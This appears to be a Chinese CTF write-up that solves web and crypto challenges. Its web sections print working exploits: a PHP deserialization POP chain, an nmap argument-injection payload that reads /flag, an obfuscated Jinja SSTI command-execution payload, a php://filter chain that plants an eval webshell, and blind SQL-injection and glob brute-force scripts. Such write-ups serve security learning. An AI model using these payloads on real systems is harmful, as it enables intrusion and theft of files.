if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

这里要求传入的num不是123456789,但转为int类型之后有要求等于123456789,长度还要小于10.想着转全角即可绕过

传入flag?num=123456789

最后在源码看到flag

image-20231126120914146

ezphp

哈哈,源码长的我原地去世

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
 <?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
public $qwe;
public $bro;
public $secret;

public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;

if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}

else{
echo("错了哥们,再试试吧<br>");
}
}

}

class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}

public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];

if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}

class important{
public $power;

public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}

class useless {
private $seeyou;
public $QW;
public $YXX;

public function __construct($seeyou) {
$this->seeyou = $seeyou;
}

public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);

if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;

if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');

if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}

if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?> 快帮我找找她!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$c='%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%
3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67
%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power->YXX = urldecode($c);
$d =
'%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%
c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d
%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';
$a->qwe->asd->power = new useless($args);
$a->qwe->asd->power->QW = urldecode($d);
$b = new SplStack();
$b->push($a);
echo urlencode(serialize($b));

读取key之后会得到一长串字符

复制下来,长的离谱,本来打算贴的,一贴直接顶我好几篇文章的长度了,不贴了需要去掉开头和末尾的*/

base64转图片

得到

image-20231126192131674

知道了key是9,name是momo

1
2
3
4
5
6
7
8
9
10
$a = new Me();
$a->bro = &$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
$args2 = array("her",'find');
$args = array('seeyou'=>$args2);
$a->qwe->asd->power = new useless($args);
$b = new SplQueue();
$b->push($a);
echo urlencode(serialize($b));

之后利用data伪协议绕过+原生类读取文件

读取flag

get:

1
2
3
4
5
6
7
8
9
10
user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A
3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22import
ant%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%2
2%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO
%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%2
2%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1
%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D
%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00ke
y%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A1
8%3B%7D%7D&file=data://text/plain,loveyou&fun=./

post:

ctf=FilesystemIterator

image-20231126192549279

查到flag所在文件之后

访问flag_my_baby.php 即可得到flag

image-20231126192630168

scan_tool

namp特性的利用

主要就是利用escapeshellarg函数处理命令会剔除不可见字符的特性可以使用不可见字符对过滤的option进行绕(需要利用burp发包)过,payload如下

1
'+-iúL /flag+-oúN+1.txt '(u不可见字符)

利用-iL参数将文件外带,利用-oN参数将结果写入当前目录的文件中,访问1.txt得到flagimage-20231126193004729

klf_3

上一个的payload就能打

url/secr3ttt?klf={% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(in=a,it=a)|join,a,a)|join()%} {% set glo=(a,a,dict(glob=a,als=a)|join,a,a)|join()%} {% set geti=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%} {% set impo=(a,a,dict(imp=a,ort=a)|join,a,a)|join() %} {% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%} {% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} {% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%} {% set sub=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set o=(dict(o=a,s=a))|join()%} {% set en=(dict(po=a,pen=a))|join()%} {% set ca=(dict(who=a,ami=a))|join()%} {% set fl=dict(fl=a,ag=a)|join()%} {% set re=(dict(re=a,ad=b))|join()%} {% set cc=(dict(ch=a,r=a))|join()%} {%set get=dict(get=a)|join%} {%set ch=()|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(built)|attr(geti)(cc)%} {%set cmd=(ch(9%EF%BC%99),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%96),ch(3%EF%BC%92),ch(4%EF%BC%97),ch(9%EF%BC%97),ch(1%EF%BC%91%EF%BC%92),ch(1%EF%BC%91%EF%BC%92),ch(4%EF%BC%97),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93),ch(1%EF%BC%90%EF%BC%92),ch(1%EF%BC%90%EF%BC%98),ch(5%EF%BC%92),ch(1%EF%BC%90%EF%BC%93))|join()%} {{a|attr(cl)|attr(ba)|attr(sub)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(en)(cmd)|attr(re)()}}

ezrfi

页面源代码提示可以看hint的py,尝试了许多次,目录穿越看到hint.py

原本很奇怪为什么不用加py看了源码才知道

image-20231125204728870

1
w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64+尊嘟假嘟解密+rc4

得到文件包含逻辑是include($file.”.py”),你能找到flag文件位置吗??这下恍然大悟了

之后想到利用input伪协议往里面写马

我不太理解,网上搜到利用侧信道读取flag

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

跑脚本可得到一长串payload

image-20231125205505003

后面地址稍微改一下,

1
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=../../hint

post的传参需要和脚本里的对应

1
# <?php eval($_GET[1]);?>a

image-20231125205712270

之后就传马,利用就可以了

image-20231125205748272

image-20231125210006094

SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

ezsql

利用sys库获取表名和库名,最终payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

target_url = "http://47.108.56.168:1111/index.php"
payload_sql = '1\')/**/and/**/(select/**/*/**/from/**/ctf.flll444aaggg9/**/limit/**/2,1)/**/like/**/binary/**/\'{}%\'#'
brute_force_dict = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+{}'
final_result = ''

while True:
current_data = ''
for char in brute_force_dict:
current_data = {'id': payload_sql.format(final_result + char)}
response = requests.post(url=target_url, data=current_data)

if 'Success' in response.text:
final_result += char
print(final_result)
break

Akane!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
error_reporting(0);
show_source(__FILE__);
class Hoshino
{
public $Ruby;
private $Aquamarine;

public function __destruct()
{
$this->Ruby->func();
}
}

class Idol
{
public $Akane;

public function __wakeup()
{
$this->Akane = '/var/www/html/The************************.php';
}

public function __call($method,$args)
{
$Kana = count(scandir($this->Akane));
if ($Kana > 0) {
die('Kurokawa Akane');
} else {
die('Arima Kana');
}
}
}

$a = unserialize(base64_decode($_GET['tuizi']));

?>

需要利用glob://伪协议爆破文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import base64

TARGET_URL = 'http://jqbp6wgag8rjj5793ersjt9qf.node.game.sycsec.com/?param='
CHARACTER_SET = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
INITIAL_LENGTH = 49
NAME_EXTENSION = ''

for outer_counter in range(1000):
for inner_char in CHARACTER_SET:
encoded_payload = f'O:7:"Hoshino":2:{{s:4:"Ruby";O:4:"Idol":1:{{s:5:"Akane";s:{INITIAL_LENGTH}:"glob:///var/www/html/TheS4crEtF1AgFi1EByo2takuX{NAME_EXTENSION}{inner_char}*";}}s:19:"HoshinoAquamarine";N;}}'
encoded_payload_b64 = base64.b64encode(encoded_payload.encode('utf-8'))
full_url = TARGET_URL + encoded_payload_b64.decode('utf-8')

try:
response = requests.get(full_url)
response.raise_for_status()

print(encoded_payload)

if 'Kurokawa Akane' in response.text:
NAME_EXTENSION += inner_char
INITIAL_LENGTH += 1
print(NAME_EXTENSION)
break # Exit inner loop
except requests.exceptions.RequestException as error:
print(f'Error during request: {error}')
continue

else:
continue # Continue outer loop if inner loop is not broken
break # Exit outer loop

需要一点一点去手改文件名

最后可爆破出文件名是TheS4crEtF1AgFi1EByo2takuXX.php

访问可得到flag

##Crypto

SignIn

5359437b48656c6c6f5f576f726c645f43727970746f5f6269626f6269626f7d… Hmm… Something goes wrong with my grettings bot.

义眼盯真。16进制ascii转化得到flag

proof_of_work

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
import re
import string
from itertools import product

def pass_POW():
rec = 'sha256(XXXX+FCxk8M9svYwVMfGe) == 793edc396da13a7992b429e50e7d122c41debbd902419d26a0792b4008dba844'
table = string.ascii_letters + string.digits
suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
last_hash = re.findall(r'== (.*?)$', rec)[0]
print("suffix: %s, last_hash: %s" % (suffix, last_hash))
for i in product(table, repeat=4):
prefix = ''.join(i)
guess = prefix + suffix
if hashlib.sha256(guess.encode()).hexdigest() == last_hash:
print("prefix XXXX is %s" % prefix)
return prefix
return None

pass_POW()

SimpleRSA

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import *
flag = b"SYC{Al3XEI_FAKE_FLAG}"
assert len(flag) == 35
p,q = [getPrime(2048) for _ in "__"]
n = p*q
e = 65537
c = gmpy2.powmod(bytes_to_long(flag),e,n)
print(p)
print(c)
#24724324630507415330944861660078769085865178656494256140070836181271808964994457686409910764936630391300708451701526900994412268365698217113884698394658886249353179639767806926527103624836198494439742123128823109527320850165486500517304731554371680236789357527395416607541627295126502440202040826686102479225702795427693781581584928770373613126894936500089282093366117940069743670997994742595407158340397268147325612840109162997306902492023078425623839297511182053658542877738887677835528624045235391227122453939459585542485427063193993069301141720316104612551340923656979591045138487394366671477460626997125944456537
#510345661718450375632304764819724223824018609359964259503762283253350010161515190912152623604019093266967095847334388281390406831587663253164256543905694021952211220652820225527413861208452760215767828927039893435528572148282529198773772864255061213208279999011194952146362748485103032149806538140693537361755210176698895104708379400806511907719904867068865970241208806615061055047254026118016836750283966478103987375361826198930529462261013324904522014804502582865716441828895047550041401172127129749969507853355531197814919603963664646220505672302543085959372679395717892060245461464861507164276442140407308832537707450729432224150754603518526288767105682399190438680085925078051459448618725871249563011864525585870188123725554411655044152994826056900502298772802133526591794328224932405680583757307064395792317383571866619582974377344736930271554160701478385763426091091686496788999588340419226785217028504684542197970387916262126278955278523452903043316452825738030645100271595942652498852506660789605846309602343932245435421425673058238785509280366229754404949219663043627431437755087855502139890639468481922788973821783957766433857773771229298328019250652625289700950165414584983487319078090573179470893450632419467111117341472

image-20231127210732395

OTPTwice

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import xor 
from os import urandom
flag = b"SYC{Al3XEI_FAKE_FLAG}"

# step0: key generation & distribution
def s0(msg):
k1,k2 = [urandom(len(msg)) for _ in "__"]
return k1,k2

#

# step1: Alice encrypt M, and send it to Bob
def s1(msg,k1):
c1 = xor(msg,k1)
return c1

# step2: Bob encrypt c1, and send it to Alice
def s2(msg,k2):
c2 = xor(msg,k2)
return c2

# step3: Alice decrypt c2, and send it to Bob.
def s3(msg,k1):
c3 = xor(msg,k1)
return c3

# step4: Bob decrypt c3, get M.
def s4(msg,k2):
m_ = xor(msg,k2)
return m_


def encrypt(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
assert msg == m_

# Here's what hacker Eve got:
def encrypt_(msg,k1,k2):
c1 = s1(msg,k1)
c2 = s2(c1,k2)
c3 = s3(c2,k1)
m_ = s4(c3,k2)
if HACK == True:
print(c1)
print(c2)
print(c3)


k1,k2 = s0(flag)
encrypt_(flag,k1,k2)

'''
b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'
'''
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import xor 

C1=b'\xdbi\xab\x8d\xfb0\xd3\xfe!\xf8Xpy\x80w\x8c\x87\xb9'
C2=b'o\xb0%\xfb\xdb\x0e\r\x04\xde\xd1\x9a\x08w\xda4\x0f\x0cR'
C3=b'\xe7\x80\xcd\ria\xb2\xca\x89\x1a\x9d;|#3\xf7\xbb\x96'


K1=xor(C2,C3)
K2=xor(C2,C1)

flag=xor(K1,C1)
print(flag)

OldAlgorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from Crypto.Util.number import * 
import os
flag = b"SYC{Al3XEI_FAKE_FLAG}"

pad = lambda msg,padlen: msg+os.urandom(padlen-len(msg))


flag = pad(flag,32)
print(len(flag))
p = [getPrime(16) for _ in range(32)]
c = [bytes_to_long(flag)%i for i in p]


print('p=',p)
print('c=',c)

'''
p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]
'''

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import long_to_bytes

def chinese_remainder_theorem(c, p):
# 计算模数的乘积
N = 1
for i in p:
N *= i

result = 0
for i in range(len(c)):
# 计算每个模数的乘积
Ni = N // p[i]

# 计算模反元素
Mi = pow(Ni, -1, p[i])

# 计算部分解密结果
result += c[i] * Ni * Mi

# 取最小正整数解
flag = result % N

return long_to_bytes(flag)

p= [58657, 47093, 47963, 41213, 57653, 56923, 41809, 49639, 44417, 38639, 39857, 53609, 55621, 41729, 60497, 44647, 39703, 55117, 44111, 57131, 37747, 63419, 63703, 64007, 46349, 39241, 39313, 44909, 40763, 46727, 34057, 56333]
c= [36086, 4005, 3350, 23179, 34246, 5145, 32490, 16348, 13001, 13628, 7742, 46317, 50824, 23718, 32995, 7640, 10590, 46897, 39245, 16633, 31488, 36547, 42136, 52782, 31929, 34747, 29026, 18748, 6634, 9700, 8126, 5197]


flag = chinese_remainder_theorem(c, p)
print(flag)

easy_classic

套娃题,套麻了

第一层,凯撒16

1
2
3
udzeojxuwqcu

enjoythegame

第二层,w型栅栏密码 7

1
2
3
ialhhooavtepcyr

ilovecryptohaha

第三层,bas64

1
2
3
5a6H5a6Z5LiH5rOV55qE6YKj5Liq5rqQ5aS0

宇宙万法的那个源头

第4层,熊曰解密

1
2
3
熊曰:呋食食食取噗山笨笨破嗄咯哈動嗡雜類嗒嘿啽沒歡破吖咬我啽寶盜噔咯沒

never gonna give you up

第5层,先解emojihttp://www.atoolbox.net/Tool.php?Id=937%E8%BF%9B%E8%A1%8C%E8%A7%A3%E7%A0%81

image-20231027142626076

1
2
3
👝👘👠👩👞👘👤👜

fairgame

之后Playfair解密http://www.metools.info/code/playfair_186.html

image-20231027142702429

Polyrsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import math
from Crypto.Util.number import inverse



n = 728002565949733279371529990942440022467681592757835980552797682116929657292509059813629423038094227544032071413317330087468458736175902373398210691802243764786251764982802000867437756347830992118278032311046807282193498960587170291978547754942295932606784354258945168927044376692224049202979158068158842475322825884209352566494900083765571037783472505580851500043517614314755340168507097558967372661966013776090657685241689631615245294004694287660685274079979318342939473469143729494106686592347327776078649315612768988028622890242005700892937828732613800620455225438339852445425046832904615827786856105112781009995862999853122308496903885748394541643702103368974605177097553007573113536089894913967154637055293769061726082740854619536748297829779639633209710676774371525146758917646731487495135734759201537358734170552231657257498090553682791418003138924472103077035355223367678622115314235119493397080290540006942708439607767313672671274857069053688258983103863067394473084183472609906612056828326916114024662795812611685559034285371151973580240723680736227737324052391721149957542711415812665358477474058103338801398214688403784213100455466705770532894531602252798634923125974783427678469124261634518543957766622712661056594132089
e = 65537
c = 375617816311787295279632219241669262704366237192565344884527300748210925539528834207344757670998995567820735715933908541800125317082581328287816628816752542104514363629022246620070560324071543077301256917337165566677142545053272381990573611757629429857842709092285442319141751484248315990593292618113678910350875156232952525787082482638460259354559904243062546518553607882194808191571131590524874275187750985821420412987586148770397073003186510357920710387377990379862185266175190503647626248057084923516190642292152259727446111686043531725993433395002330208067534104745851308178560234372373476331387737629284961288204368572750848248186692623500372605736825205759172773503283282321274793846281079650686871355211691681512637459986684769598186821524093789286661348936784712071312135814683041839882338235290487868969391040389837253093468883093296547473466050960563347060307256735803099039921213839491129726807647623542881247210251994139130146519265086673883077644185971830004165931626986486648581644383717994174627681147696341976767364316172091139507445131410662391699728189797082878876950386933926807186382619331901457205957462337191923354433435013338037399565519987793880572723211669459895193009710035003369626116024630678400746946356



e1 = 113717
e2 = 80737
c1 = 97528398828294138945371018405777243725957112272614466238005409057342884425132214761228537249844134865481148636534134025535106624840957740753950100180978607132333109806554009969378392835952544552269685553539656827070349532458156758965322477969141073720173165958341043159560928836304172136610929023123638981560836183245954461041167802574206323129671965436040047358250847178930436773249800969192016749684095882580749559014647942135761757750292281205876241566597813517452803933496218995755905344070203047797893640399372627351254542342772576533524820435965479881620338366838326652599102311019884528903481310690767832417584600334987458835108576322111553947045733143836419313427495888019352323209000292825566986863770366023326755116931788018138432898323148059980463407567431417724940484236335082696026821105627826117901730695680967455710434307270501190258033004471156993017301443803372029004817834317756597444195146024630164820841200575179112295902020141040090350486764038633257871003899386340004440642516190842086462237559715130631205046041819931656962904630367121414263911179041905140516402771368603623318492074423223885367923228718341206283572152570049573607906130786276734660847733952210105659707746969830132429975090175091281363770357
